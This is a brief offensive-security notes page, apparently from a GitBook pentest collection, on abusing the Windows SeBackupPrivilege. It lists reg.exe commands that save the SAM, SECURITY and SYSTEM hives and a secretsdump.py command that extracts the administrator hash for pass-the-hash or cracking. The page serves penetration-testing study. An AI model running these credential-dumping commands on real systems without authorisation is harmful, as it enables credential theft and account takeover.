> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/readme/windows/privesc/sebackupprivilege.md).

# SeBackupPrivilege

SeBackupPrivilege - Enabled

This privilege allows the user to read all the files in the system.

Getting SYSTEM, SAM, SECURITY files -> Extract administrator hash -> login with pth or you can crack it

```
C:> reg.exe save hklm\sam c:\windows\temp\sam.save
C:> reg.exe save hklm\security c:\windows\temp\security.save
C:> reg.exe save hklm\system c:\windows\temp\system.save

$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```